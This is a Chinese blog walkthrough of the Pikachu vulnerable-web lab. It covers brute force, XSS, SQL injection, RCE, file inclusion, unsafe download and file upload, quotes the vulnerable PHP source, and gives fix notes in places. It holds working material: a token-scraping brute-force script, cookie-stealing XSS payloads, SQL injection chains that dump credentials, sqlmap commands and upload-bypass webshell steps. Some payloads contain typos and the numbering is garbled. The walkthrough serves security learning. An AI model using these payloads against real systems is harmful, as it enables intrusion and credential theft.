提示:文章,目录可以自动生成,如何生成可参考右边的帮助文档
目录
前言
一、暴力破解关
1,基于表单的暴力破解
2,基于验证码绕过的爆破(on server)
3,验证码绕过(on client)
四、Token防爆破?
二、Cross-Site-Scripting
1,反射型(get)
2,反射型(POST)
3,存储型
4,DOM型
5,DOM-X型
6,XSS盲打
7,XSS之过滤
8、XSS之htmlspecialchars
9,XSS之href输出
10、XSS之js输出
三、SQL
1,数字型注入(post)
2,字符型(get)
3, 搜索型注入
4,XX型注入
5、insert/update型
6、delete注入
7、HTTP header注入
8,boolian盲注
9,时间盲注
10、宽字节注入
四、RCE
1,exec 'ping'
2、RCE EVAL
五、File Inclusion
1,本地文件包含
2、远程文件包含
六、unsafedownload
七、 文件上传
1,client check
2,MIME-type
3,getimagesize
八、越权
1,水平越权
2,水平越权
九、目录遍历
十、敏感信息泄露
十一、PHP反序列化
十一、XXE
十二、URL重定向
十三、 SSRF(服务端请求伪造)
1、curl
2,file_get_content
总结、
前言
Pikachu靶场拥有各类简单的漏洞,能掌握基本的漏洞利用。
提示:以下是本篇文章正文内容,下面案例可供参考
一、暴力破解关
1,基于表单的暴力破解
没什么好说的,直接burpsuite的intruder模块进行字典爆破。
爆出账号为admin,密码是123456
源码:
if(isset($_POST['submit']) && $_POST['username'] && $_POST['password']){ $username = $_POST['username']; $password = $_POST['password']; $sql = 'select * from users where username=? and password=md5(?)'; $line_pre = $link->prepare($sql); $line_pre->bind_param('ss',$username,$password); if($line_pre->execute()){ $line_pre->store_result(); if($line_pre->num_rows>0){ $html.= '<p> login success</p>'; $html.= '<p> username or password is not exists~</p>'; $html.= '<p>执行错误:'.$line_pre->errno.'错误信息:'.$line_pre->error.'</p>'; 提交的username和password与数据库users表的username和password字段作比较,相同则登录成功。
2,基于验证码绕过的爆破(on server)
用同一个验证码,进行爆破试试。
验证码一直有效,爆破出密码依旧为admin,123456。
源码:
if(isset($_POST['submit'])) { if (empty($_POST['username'])) { $html .= '<p class='notice'>用户名不能为空</p>'; if (empty($_POST['password'])) { $html .= '<p class='notice'>密码不能为空</p>'; if (empty($_POST['vcode'])) { $html .= '<p class='notice'>验证码不能为空哦!</p>'; if (strtolower($_POST['vcode']) != strtolower($_SESSION['vcode'])) { $html .= '<p class='notice'>验证码输入错误哦!</p>'; $username = $_POST['username']; $password = $_POST['password']; $vcode = $_POST['vcode']; $sql = 'select * from users where username=? and password=md5(?)'; $line_pre = $link->prepare($sql); $line_pre->bind_param('ss',$username,$password); if($line_pre->execute()){ $line_pre->store_result(); if($line_pre->num_rows()==1){ $html.='<p> login success</p>'; $html.= '<p> username or password is not exists~</p>'; $html.= '<p>执行错误:'.$line_pre->errno.'错误信息:'.$line_pre->error.'</p>';
增加了验证码的应用,将POST请求的验证码与session[vode]作比较,不相等即不正确,关键在于没有在每一次请求后销毁session[code]并重新生成,导致了验证码一直有效。应当在login success以及else后都进行session[vode]的销毁,并重新生成。
3,验证码绕过(on client)
源代码:
if(isset($_POST['submit'])){ if($_POST['username'] && $_POST['password']) { $username = $_POST['username']; $password = $_POST['password']; $sql = 'select * from users where username=? and password=md5(?)'; $line_pre = $link->prepare($sql); $line_pre->bind_param('ss', $username, $password); if ($line_pre->execute()) { $line_pre->store_result(); if ($line_pre->num_rows > 0) { $html .= '<p> login success</p>'; $html .= '<p> username or password is not exists~</p>'; $html .= '<p>执行错误:' . $line_pre->errno . '错误信息:' . $line_pre->error . '</p>'; $html .= '<p> please input username and password~</p>';
前端:
var codeLength = 5;//验证码的长度 var checkCode = document.getElementById('checkCode'); var selectChar = new Array(0, 1, 2, 3, 4, 5, 6, 7, 8, 9,'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z');//所有候选组成验证码的字符,当然也可以用中文的 for (var i = 0; i < codeLength; i++) { var charIndex = Math.floor(Math.random() * 36); code += selectChar[charIndex]; checkCode.className = 'code'; var inputCode = document.querySelector('#bf_client .vcode').value; if (inputCode.length <= 0) { } else if (inputCode != code) {
后端并没有出现验证码,仅进行登录,前端通过floor函数生成5个随机数字取数组中对应的索引值作为验证码,validate()保证每次提交验证码都会刷新,并且验证验证码的正确性。禁用掉validate()函数进行抓包爆破或将提交的vode直接去掉进行爆破都可以。
四、Token防爆破?
存在token,并且每次提交后token都会刷新,先看看HTML页面的源码。
页面中隐藏了下一次token的值,可以进行爆破,可使用burpsuite的宏或者正则匹配,这里我使用python脚本。
from bs4 import BeautifulSoup f = open('password.txt', encoding='utf-8') num = f.readline().rstrip() 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0', 'Cookie': 'PHPSESSID=782u3n1vs7s22l76u4vphhjidu' req = s.get('http://6d0545c2b5a341ccb49fb8844d0a4d02.app./vul/burteforce/bf_token.php') token = BeautifulSoup(req.text, 'lxml').find('input', type='hidden').get('value') req = s.post(url='http://6d0545c2b5a341ccb49fb8844d0a4d02.app./vul/burteforce/bf_token.php', data={'username': 'admin', 'password': pa, 'token': token, 'submit': 'Login'}) if 'success' in req.text: print('爆破成功,用户名:admin,密码为:%s' % pa) req = s.get('http://6d0545c2b5a341ccb49fb8844d0a4d02.app./vul/burteforce/bf_token.php') token = BeautifulSoup(req.text, 'lxml').find('input', type='hidden').get('value')
源码分析:
if(isset($_POST['submit']) && $_POST['username'] && $_POST['password'] && $_POST['token']){ $username = $_POST['username']; $password = $_POST['password']; $token = $_POST['token']; $sql = 'select * from users where username=? and password=md5(?)'; $line_pre = $link->prepare($sql); $line_pre->bind_param('ss',$username,$password); if($token == $_SESSION['token']){ if($line_pre->execute()){ $line_pre->store_result(); if($line_pre->num_rows>0){ $html.= '<p> login success</p>'; $html.= '<p> username or password is not exists~</p>'; $html.= '<p>执行错误:'.$line_pre->errno.'错误信息:'.$line_pre->error.'</p>'; $html.= '<p> csrf token error</p>'; <input type='hidden' name='token' value='<?php echo $_SESSION['token'];?>' />
通过比较Session[token]的值,并且每次请求后都会利用set_token()刷新token,若不显示刷新后的token值,确实是可以防暴力破解。
二、Cross-Site-Scripting
1,反射型(get)
前端设置了字符串的长度限制,直接去掉就好。
<img src='https://www.baidu.com/img/PCtm_d9c8750bed0b3c7d089fa7d55720d6cf.png' οnmοuseοver='alert('Aiwin')'/>
源码分析:
if(isset($_GET['submit'])){ if(empty($_GET['message'])){ $html.='<p class='notice'>输入'kobe'试试-_-</p>'; if($_GET['message']=='kobe'){ $html.='<p class='notice'>愿你和{$_GET['message']}一样,永远年轻,永远热血沸腾!</p><img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/kobe.png' />'; $html.='<p class='notice'>who is {$_GET['message']},i don't care!</p>';
扫描过滤都没有,直接message=<img src='https://www.baidu.com/img/PCtm_d9c8750bed0b3c7d089fa7d55720d6cf.png' οnmοuseοver='console.log(document.cookie)'/>等都能取出cookie
2,反射型(POST)
这里有post登录页,应该要先登录,使用admin/123456登录。
使用上面相同的payload即可。
源码分析:
if(isset($_POST['submit'])){ if($_POST['username']!=null && $_POST['password']!=null){ $username=escape($link, $_POST['username']); $password=escape($link, $_POST['password']); $query='select * from users where username='$username' and password=md5('$password')'; $result=execute($link, $query); if(mysqli_num_rows($result)==1){ $data=mysqli_fetch_assoc($result); //登录时,生成cookie,1个小时有效期,供其他页面判断 setcookie('ant[uname]',$_POST['username'],time()+3600); setcookie('ant[pw]',sha1(md5($_POST['password'])),time()+3600); header('location:xss_reflected_post.php'); // echo ''<script>windows.location.href='xss_reflected_post.php'</script>'; $html ='<p>username or password error!</p>'; $html ='<p>please input username and password!</p>'; if(isset($_POST['submit'])){ if(empty($_POST['message'])){ $html.='<p class='notice'>输入'kobe'试试-_-</p>'; //下面直接将前端输入的参数原封不动的输出了,出现xss if($_POST['message']=='kobe'){ $html.='<p class='notice'>愿你和{$_POST['message']}一样,永远年轻,永远热血沸腾!</p><img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/kobe.png' />'; $html.='<p class='notice'>who is {$_POST['message']},i don't care!</p>'; if(isset($_GET['logout']) && $_GET['logout'] == '1'){ setcookie('ant[uname]',''); header('location:post_login.php'); function escape($link,$data){ return mysqli_real_escape_string($link,$data); foreach ($data as $key=>$val){ $data[$key]=escape($link,$val);
登录时,使用了escape()进行特殊字符如换行符,单引号,双引号,空格进行转义,防止SQL注入,登录成功后,会生成有效期为1小时的cookie,依旧未对信息做任何过滤。
3,存储型
<img src='' οnerrοr='alert(document.cookie)'/>
源码分析:
if(array_key_exists('message',$_POST) && $_POST['message']!=null){ $message=escape($link, $_POST['message']); $query='insert into message(content,time) values('$message',now())'; $result=execute($link, $query); if(mysqli_affected_rows($link)!=1){ $html.='<p>数据库出现异常,提交失败!</p>'; if(array_key_exists('id', $_GET) && is_numeric($_GET['id'])){ $query='delete from message where id={$_GET['id']}'; $result=execute($link, $query); if(mysqli_affected_rows($link)==1){ echo '<script type='text/javascript'>document.location.href='xss_stored.php'</script>'; $html.='<p id='op_notice'>删除失败,请重试并检查数据库是否还好!</p>';
对传入的message数据经过特殊字符转义后(主要针对SQL)插入数据库,导致了存储型的xss,第二个if是进行删除的按钮,通过索引ID进行message的删除,删除成功则立刻跳转到原页面,删除时也未经过任何转义,能够进行sql的盲注。
4,DOM型
输入的信息text会从前端通过javascript生成<a href='text'>what do you see </a>
'><img src='#' οnmοuseοver='alert('Aiwin')'/> 先将生成的<a href闭合掉即可。
源码:
var str = document.getElementById('text').value; document.getElementById('dom').innerHTML = '<a href=''+str+''>what do you see?</a>'; <!--<a href='' onclick=('xss')>--> <input id='text' name='text' type='text' value='' /> <input id='button' type='button' value='click me!' onclick='domxss()' />
5,DOM-X型
输入的信息text会出现在URL中
'οnclick='alert(document.cookie)'>
源码:
if(isset($_GET['text'])){ $html.= '<a href='#' onclick='domxss()'>有些费尽心机想要忘记的事情,后来真的就忘掉了</a>'; var str = window.location.search; var txss = decodeURIComponent(str.split('text=')[1]); var xss = txss.replace(/\+/g,' '); document.getElementById('dom').innerHTML = '<a href=''+xss+''>就让往事都随风,都随风吧</a>'; <input id='text' name='text' type='text' value='' /> <input id='submit' type='submit' value='请说出你的伤心往事'/>
通过window.location.search匹配URL中?后的部分,通过split提取出text=后面的部分,通过正则全局匹配替换将+号替换成空格,GET请求任何text都会出现<a href='#' οnclick='domxss()'>。跟上一题其实一样,只不过多了一部点击步骤。
6,XSS盲打
两个输入框,是存储型的XSS,但是输入后没有任何输出,看下提示,存在后台,登录后台,后台出现了弹窗。
源码:
$query='select * from xssblind'; $result=mysqli_query($link, $query); while($data=mysqli_fetch_assoc($result)){ <td>{$data['content']}</td> <td><a href='admin.php?id={$data['id']}'>删除</a></td> if(array_key_exists('content',$_POST) && $_POST['content']!=null){ $content=escape($link, $_POST['content']); $name=escape($link, $_POST['name']); $time=$time=date('Y-m-d g:i:s'); $query='insert into xssblind(time,content,name) values('$time','$content','$name')'; $result=execute($link, $query); if(mysqli_affected_rows($link)==1){ $html.='<p>谢谢参与,阁下的看法我们已经收到!</p>'; $html.='<p>ooo.提交出现异常,请重新提交</p>';
输入框中提交content,name,date()函数生成time插入数据库中,后台从数据库中一行一行提取出插入的数据到HTML页面,输入和输出的数据都没任何过滤,一旦登录后台,则能进行跨站脚本攻击。
7,XSS之过滤
随便尝试一下,script好像被过滤掉了。
<img src='x' οnerrοr='alert(document.cookie)'/>
源码:
if(isset($_GET['submit']) && $_GET['message'] != null){ //这里会使用正则对<script进行替换为空,也就是过滤掉 $message=preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/', '', $_GET['message']); // $message=str_ireplace('<script>',$_GET['message']); $html.='<p>那就去人民广场一个人坐一会儿吧!</p>'; $html.='<p>别说这些'{$message}'的话,不要怕,就是干!</p>';
将输入的message过滤掉了<script,还有很多可以用,黑名单过滤不完全的。
8、XSS之htmlspecialchars
Htmlspecialchars将&->&,'->',<变成<,>变成>,唯一的缺陷就是默认不对单引号过滤。
' οnclick='alert(document.cookie)'
源码:
if(isset($_GET['submit'])){ if(empty($_GET['message'])){ $html.='<p class='notice'>输入点啥吧!</p>'; $message=htmlspecialchars($_GET['message']); $html1.='<p class='notice'>你的输入已经被记录:</p>'; $html2.='<input class='input' type='text' name='inputvalue' readonly='readonly' value='{$message}' style='margin-left:120px;display:block;background-color:#c0c0c0;border-style:none;'/>'; $html2.='<a href='{$message}'>{$message}</a>';
使用了hemlspecialchars对message进行过滤,但是默认不对单引号过滤,依旧可以触发。
9,XSS之href输出
由于在<a href=''>标签里,直接使用javascript:alert(1)
源码:
if(isset($_GET['submit'])){ if(empty($_GET['message'])){ $html.='<p class='notice'>叫你输入个url,你咋不听?</p>'; if($_GET['message'] == 'www.baidu.com'){ $html.='<p class='notice'>我靠,我真想不到你是这样的一个人</p>'; $message=htmlspecialchars($_GET['message'],ENT_QUOTES); $html.='<a href='{$message}'> 阁下自己输入的url还请自己点一下吧</a>';
输入的message进行了htmlspecialchars,然后输出在<a href=''>里面,利用javascript完美绕过。
10、XSS之js输出
好像输入被动态生成在了javascript里
';alert(document.cookie);// '闭合前面引号,//将后面注释掉
三、SQL
1,数字型注入(post)
-1 union select (database()),2 爆出数据库 pikachu -1 union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2 爆出表 httpinfo member message users xssblind -1 union select (select group_concat(column_name) from information_schema.colmns where table_name='users'),2 爆出字段 USER CURRENT_CONNECTIONS TOTAL_CONNECTONS,id,username,password,level -1 union select (select group_concat(username,'~',password) from pikachu.users),2 爆出账号 密码
源码:
if(isset($_POST['submit']) && $_POST['id']!=null){ $query='select username,email from member where id=$id'; $result=execute($link, $query); if(mysqli_num_rows($result)>=1){ while($data=mysqli_fetch_assoc($result)){ $username=$data['username']; $html.='<p class='notice'>hello,{$username} <br />your email is: {$email}</p>'; $html.='<p class='notice'>您输入的user id不存在,请重新输入!</p>';
用户可控输出直接拼接到了select查询。
2,字符型(get)
allen' order by 2 # 爆出两个字段 allen' union select (database()),2# 爆出数据库 pikachu allen' union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2 # 爆出表 httpinfo member message users xssblind allen' union select (select group_concat(column_name) from information_schema.colmns where table_name='users'),2# 爆出字段 USER CURRENT_CONNECTIONS TOTAL_CONNECTONS,id,username,password,level allen' union select (select group_concat(username,'~',password) from pikachu.users),2 # 爆出账号 密码
源码:
if(isset($_GET['submit']) && $_GET['name']!=null){ $query='select id,email from member where username='$name''; $result=execute($link, $query); if(mysqli_num_rows($result)>=1){ while($data=mysqli_fetch_assoc($result)){ $html.='<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>'; $html.='<p class='notice'>您输入的username不存在,请重新输入!</p>';
查询的是username字符型,闭合直接拼接到了select。
3, 搜索型注入
a%' union select 1,(select database()),3# 爆出数据库 a%' union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2,3 # 爆出表 httpinfo member message users xssblind a%' union select (select group_concat(column_name) from information_schema.colmns where table_name='users'),2,3 # 爆出字段 USER CURRENT_CONNECTIONS TOTAL_CONNECTONS,id,username,password,level a%' union select (select group_concat(username,'~',password) from pikachu.users),2,3 # 爆出账号 密码
源码:
if(isset($_GET['submit']) && $_GET['name']!=null){ $query='select username,id,email from member where username like '%$name%''; $result=execute($link, $query); if(mysqli_num_rows($result)>=1){ $html2.='<p class='notice'>用户名中含有{$_GET['name']}的结果如下:<br />'; while($data=mysqli_fetch_assoc($result)){ $uname=$data['username']; $html1.='<p class='notice'>username:{$uname}<br />uid:{$id} <br />email is: {$email}</p>'; $html1.='<p class='notice'>0o。..没有搜索到你输入的信息!</p>';
使用了%模糊搜索字符型name,需要闭合%和',直接拼接到了select中查询 ,此处还存在反射型XSS漏洞,allen%'#<script>alert(document.cookie)</script>,因为name被直接输出到了页面。
4,XX型注入
a') union select 1,(select database())# 爆出数据库 a') union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2 # 爆出表 httpinfo member message users xssblind a%' union select (select group_concat(column_name) from information_schema.colmns where table_name='users'),2 # 爆出字段 USER CURRENT_CONNECTIONS TOTAL_CONNECTONS,id,username,password,level a') union select (select group_concat(username,'~',password) from pikachu.users),2 # 爆出账号 密码
源码:
if(isset($_GET['submit']) && $_GET['name']!=null){ //这里没有做任何处理,直接拼到select里面去了 $query='select id,email from member where username=('$name')'; $result=execute($link, $query); if(mysqli_num_rows($result)>=1){ while($data=mysqli_fetch_assoc($result)){ $html.='<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>'; $html.='<p class='notice'>您输入的username不存在,请重新输入!</p>';
闭合单引号和括号,直接拼接到select语句查询。
5、insert/update型
注册的username处进行报错注入
' or updatexml(1,concat(0x7e,database(),0x7e),1) or ' 爆数据库 ' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) or ' ' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database()),0x7e),1) or ' ' or updatexml(1,concat(0x7e,(select group_concat(id,username,password,level) from pikachu.users),0x7e),2) or '
源码:
if(isset($_POST['submit'])){ if($_POST['username']!=null &&$_POST['password']!=null){ $query='insert into member(username,pw,sex,phonenum,email,address) values('{$getdata['username']}',md5('{$getdata['password']}'),'{$getdata['sex']}','{$getdata['phonenum']}','{$getdata['email']}','{$getdata['add']}')'; $result=execute($link, $query); if(mysqli_affected_rows($link)==1){ $html.='<p>注册成功,请返回<a href='sqli_login.php'>登录</a></p>'; $html.='<p>注册失败,请检查下数据库是否还活着</p>'; $html.='<p>必填项不能为空哦</p>';
对输入的POST数据未经过转义,就拼接插入数据库,可以使用报错注入。
6、delete注入
56 and updatexml(1,concat(0x7e,database(),0x7e),1) 爆数据库 56 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) 56 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database()),0x7e),1) 56 and updatexml(1,concat(0x7e,(select group_concat(id,username,password,level) from pikachu.users),0x7e),2)
源码:
if(array_key_exists('message',$_POST) && $_POST['message']!=null){ $message=escape($link, $_POST['message']); $query='insert into message(content,time) values('$message',now())'; $result=execute($link, $query); if(mysqli_affected_rows($link)!=1){ $html.='<p>出现异常,提交失败!</p>'; // if(array_key_exists('id', $_GET) && is_numeric($_GET['id'])){ if(array_key_exists('id', $_GET)){ $query='delete from message where id={$_GET['id']}'; $result=execute($link, $query); if(mysqli_affected_rows($link)==1){ header('location:sqli_del.php'); $html.='<p style='color: red'>删除失败,检查下数据库是不是挂了</p>';
删除数据时,直接拼接了传入的id的值,删除时能进行sql注入
7、HTTP header注入
提示中有登录,进行登录
' or updatexml(1,concat(0x7e,database(),0x7e),1) or ' 爆数据库 ' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) or ' ' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database()),0x7e),1) or ' ' or updatexml(1,concat(0x7e,(select group_concat(id,username,password,level) from pikachu.users),0x7e),2) or '
源码:
$remoteipadd=$_SERVER['REMOTE_ADDR']; $useragent=$_SERVER['HTTP_USER_AGENT']; $httpaccept=$_SERVER['HTTP_ACCEPT']; $remoteport=$_SERVER['REMOTE_PORT']; $query='insert httpinfo(userid,ipaddress,useragent,httpaccept,remoteport) values('$is_login_id','$remoteipadd','$useragent','$httpaccept','$remoteport')'; $result=execute($link, $query); if(isset($_GET['logout']) && $_GET['logout'] == 1){ setcookie('ant[uname]','',time()-3600); setcookie('ant[pw]','',time()-3600); header('location:sqli_header_login.php');
直接获取了前端传入的header头信息并未经过处理插入数据库。
8,boolian盲注
allen' and ascii(substr(database(),1,1))>0 # 爆数据库 allen' and ascii(substr(database(),2,1))>0 # 爆数据库 等 allen' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>0 # 爆第一个表第一个字母 allen' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>0 # 爆第一个表第二个字母 python sqlmap.py -u 'http://2bf71a0cc5d14b159242fefca518c030.app./vul/sqli/sqli_blind_b.php?name=allen&submit=%E6%9F%A5%E8%AF%A2' --tables -D 'pikachu' -cookie='PHPSESSID=n2ok5jr3pk53rkoi9o26kuinhe'; python sqlmap.py -u 'http://2bf71a0cc5d14b159242fefca518c030.app./vul/sqli/sqli_blind_b.php?name=allen&submit=%E6%9F%A5%E8%AF%A2' --columns -T 'users' -D 'pikachu' -cookie='PHPSESSID=n2ok5jr3pk53rkoi9o26kuinhe';
源码:
if(isset($_GET['submit']) && $_GET['name']!=null){ $name=$_GET['name'];//这里没有做任何处理,直接拼到select里面去了 $query='select id,email from member where username='$name'';//这里的变量是字符型,需要考虑闭合 $result=mysqli_query($link, $query);// // $result=execute($link, $query); if($result && mysqli_num_rows($result)==1){ while($data=mysqli_fetch_assoc($result)){ $html.='<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>'; $html.='<p class='notice'>您输入的username不存在,请重新输入!</p>';
打印结果输出的被注释掉了
9,时间盲注
allen' and if(ascii(substr(database(),1,1))>0,sleep(3),1)# 爆数据库 allen' and if(ascii(substr(database(),2,1))>0,sleep(3),1)# 以此类推 allen' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>0,slepp(3),1)# 爆第一个表名第一个字母
源码:
if(isset($_GET['submit']) && $_GET['name']!=null){ $name=$_GET['name'];//这里没有做任何处理,直接拼到select里面去了 $query='select id,email from member where username='$name'';//这里的变量是字符型,需要考虑闭合 $result=mysqli_query($link, $query);//mysqi_query不打印错误描述 // $result=execute($link, $query); // $html.='<p class='notice'>i don't care who you are!</p>'; if($result && mysqli_num_rows($result)==1){ while($data=mysqli_fetch_assoc($result)){ $html.='<p class='notice'>i don't care who you are!</p>'; $html.='<p class='notice'>i don't care who you are!</p>';
无论输出啥,输出都一样,只能使用时间盲注。
10、宽字节注入
kobe%df' union select 1,database()# 爆数据库名 kobe%df' union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2 # 爆出表 httpinfo member message users xssblind kobe%df' union select (select group_concat(column_name) from information_schema.colmns where table_name='users'),2 # 爆出字段 USER CURRENT_CONNECTIONS TOTAL_CONNECTONS,id,username,password,level kobe%df' union select (select group_concat(username,'~',password) from pikachu.users),2 # 爆出账号 密码
源码:
if(isset($_POST['submit']) && $_POST['name']!=null){ $name = escape($link,$_POST['name']); $query='select id,email from member where username='$name''; $set = 'set character_set_client=gbk'; $result=mysqli_query($link, $query); if(mysqli_num_rows($result) >= 1){ while ($data=mysqli_fetch_assoc($result)){ $html.='<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>'; $html.='<p class='notice'>您输入的username不存在,请重新输入!</p>';
虽然使用了escape对参数name进行转义,但是启用了gbk编码,可以使用%df或其它编码与\构成两字节的编码绕过\
四、RCE
1,exec 'ping'
源码分析:
if(isset($_POST['submit']) && $_POST['ipaddress']!=null){ if(stristr(php_uname('s'), 'windows')){ //判断系统类型 $result.=shell_exec('ping '.$ip);//直接将变量拼接进来,没做处理 $result.=shell_exec('ping -c 4 '.$ip);
输入的ipaddress变量未经过过滤,直接进行了命令执行。
2、RCE EVAL
源码:
if(isset($_POST['submit']) && $_POST['txt'] != null){ if(@!eval($_POST['txt'])){ $html.='<p>你喜欢的字符还挺奇怪的!</p>';
直接将用户的输入当成了PHP代码执行,很危险。
五、File Inclusion
1,本地文件包含
if(isset($_GET['submit']) && $_GET['filename']!=null){ $filename=$_GET['filename']; include 'include/$filename';//变量传进来直接包含,没做任何的安全限制
传入的参数直接进行了包含,应当使用白名单,规定传入的文件名
2、远程文件包含
源码:
if(!ini_get('allow_url_include')){ $html1.='<p style='color: red'>warning:你的allow_url_include没有打开,请在php.ini中打开了再测试该漏洞,记得修改后,重启中间件服务!</p>'; if(!ini_get('allow_url_fopen')){ $html2.='<p style='color: red;'>warning:你的allow_url_fopen没有打开,请在php.ini中打开了再测试该漏洞,重启中间件服务!</p>'; if(phpversion()<='5.3.0' && !ini_get('magic_quotes_gpc')){ $html3.='<p style='color: red;'>warning:你的magic_quotes_gpc打开了,请在php.ini中关闭了再测试该漏洞,重启中间件服务!</p>'; //远程文件包含漏洞,需要php.ini的配置文件符合相关的配置 if(isset($_GET['submit']) && $_GET['filename']!=null){ $filename=$_GET['filename']; include '$filename';//变量传进来直接包含,没做任何的安全限制
远程文件包含需要开启PHP的allow_url_include和fopen服务,php6以后magic_quotes_gpc服务默认关闭。
六、unsafedownload
有文件下载的途径,可以尝试一下修改filename的值
源码:
$PIKA_ROOT_DIR = '../../'; include_once $PIKA_ROOT_DIR.'inc/function.php'; $file_path='download/{$_GET['filename']}'; $file_path=iconv('utf-8','gb2312',$file_path); if(!file_exists($file_path)){ skip('你要下载的文件不存在,请重新下载', 'unsafe_down.php'); $fp=fopen($file_path,'rb'); $file_size=filesize($file_path); ob_clean();//输出前一定要clean一下,否则图片打不开 Header('Content-type: application/octet-stream'); Header('Accept-Ranges: bytes'); Header('Accept-Length:'.$file_size); Header('Content-Disposition: attachment; filename='.basename($file_path)); //循环读取文件流,然后返回到浏览器feof确认是否到EOF while(!feof($fp) && $file_count<$file_size){ $file_con=fread($fp,$buffer);
对于传入的文件路径参数未经过任何过滤即允许下载,不安全。
七、 文件上传
1,client check
前端js检查,直接<?php phpinfo();?>的txt文件改为jpg文件,上传用burpsutie抓包修改为php文件, 或直接删除前端js检查都可。
源码:
function checkFileExt(filename) var arr = ['jpg','png','gif']; var index = filename.lastIndexOf('.'); var ext = filename.substr(index+1); for(var i=0;i<arr.length;i++) flag = true; //一旦找到合适的,立即退出循环 alert('上传的文件不符合要求,请重新选择!');
根据提交的文件取后缀名与数组中的作比较,不允许则不行,前端是不可信的。
2,MIME-type
对Content-Type进行检查,burpsuite修改Content-type即可,将Content-type改成image/jpeg
源码:
if(isset($_POST['submit'])){ $mime=array('image/jpg','image/jpeg','image/png');//指定MIME类型,这里只是对MIME类型做了判断。 $save_path='uploads';//指定在当前目录建立一个目录 $upload=upload_sick('uploadfile',$mime,$save_path);//调用函数 $html.='<p class='notice'>文件上传成功</p><p class='notice'>文件保存的路径为:{$upload['new_path']}</p>'; $html.='<p class=notice>{$upload['error']}</p>'; //只通过MIME类型验证了一下图片类型,其他的无验证,upsafe_upload_check.php function upload_sick($key,$mime,$save_path){ 1=>'上传的文件超过了 php.ini中 upload_max_filesize 选项限制的值', 2=>'上传文件的大小超过了 HTML 表单中 MAX_FILE_SIZE 选项指定的值', if(!isset($_FILES[$key]['error'])){ $return_data['error']='请选择上传文件!'; $return_data['return']=false; if ($_FILES[$key]['error']!=0) { $return_data['error']=$arr_errors[$_FILES[$key]['error']]; $return_data['return']=false; if(!in_array($_FILES[$key]['type'], $mime)){ $return_data['error']='上传的图片只能是jpg,jpeg,png格式的!'; $return_data['return']=false; if(!file_exists($save_path)){ if(!mkdir($save_path,0777,true)){ $return_data['error']='上传文件保存目录创建失败,请检查权限!'; $return_data['return']=false; $save_path=rtrim($save_path,'/').'/';//给路径加个斜杠 if(!move_uploaded_file($_FILES[$key]['tmp_name'],$save_path.$_FILES[$key]['name'])){ $return_data['error']='临时文件移动失败,请检查权限!'; $return_data['return']=false; //如果以上都通过了,则返回这些值,存储的路径,新的文件名(不要暴露出去) $return_data['new_path']=$save_path.$_FILES[$key]['name']; $return_data['return']=true;
用upload_sick()对文件的type进行检查,不是jpg和png图片则不行,不可靠。
3,getimagesize
直接上传图片马,绕过所有的检查
此时图片只是图片,需要联和文件包含漏洞执行文件
源码:
function upload($key,$size,$type=array(),$mime=array(),$save_path){ 1=>'上传的文件超过了 php.ini中 upload_max_filesize 选项限制的值', 2=>'上传文件的大小超过了 HTML 表单中 MAX_FILE_SIZE 选项指定的值', if(!isset($_FILES[$key]['error'])){ $return_data['error']='请选择上传文件!'; $return_data['return']=false; if ($_FILES[$key]['error']!=0) { $return_data['error']=$arr_errors[$_FILES[$key]['error']]; $return_data['return']=false; if(!is_uploaded_file($_FILES[$key]['tmp_name'])){ $return_data['error']='您上传的文件不是通过 HTTP POST方式上传的!'; $return_data['return']=false; //获取后缀名,如果不存在后缀名,则将变量设置为空 $arr_filename=pathinfo($_FILES[$key]['name']); if(!isset($arr_filename['extension'])){ $arr_filename['extension']=''; if(!in_array(strtolower($arr_filename['extension']),$type)){//转换成小写,在比较 $return_data['error']='上传文件的后缀名不能为空,且必须是'.implode(',',$type).'中的一个'; $return_data['return']=false; if(!in_array($_FILES[$key]['type'], $mime)){ $return_data['error']='你上传的是个假图片,不要欺骗我xxx!'; $return_data['return']=false; //通过getimagesize来读取图片的属性,从而判断是不是真实的图片,还是可以被绕过的 if(!getimagesize($_FILES[$key]['tmp_name'])){ $return_data['error']='你上传的是个假图片,不要欺骗我!'; $return_data['return']=false; if($_FILES[$key]['size']>$size){ $return_data['error']='上传文件的大小不能超过'.$size.'byte(500kb)'; $return_data['return']=false; if(!file_exists($save_path)){ if(!mkdir($save_path,0777,true)){ $return_data['error']='上传文件保存目录创建失败,请检查权限!'; $return_data['return']=false; //生成一个新的文件名,并将新的文件名和之前获取的扩展名合起来,形成文件名称 $new_filename=str_replace('.','',uniqid(mt_rand(100000,999999),true)); if($arr_filename['extension']!=''){ $arr_filename['extension']=strtolower($arr_filename['extension']);//小写保存 $new_filename.='.{$arr_filename['extension']}'; //将tmp目录里面的文件拷贝到指定目录下并使用新的名称 $save_path=rtrim($save_path,'/').'/'; if(!move_uploaded_file($_FILES[$key]['tmp_name'],$save_path.$new_filename)){ $return_data['error']='临时文件移动失败,请检查权限!'; $return_data['return']=false; //如果以上都通过了,则返回这些值,存储的路径,新的文件名(不要暴露出去) $return_data['save_path']=$save_path.$new_filename; 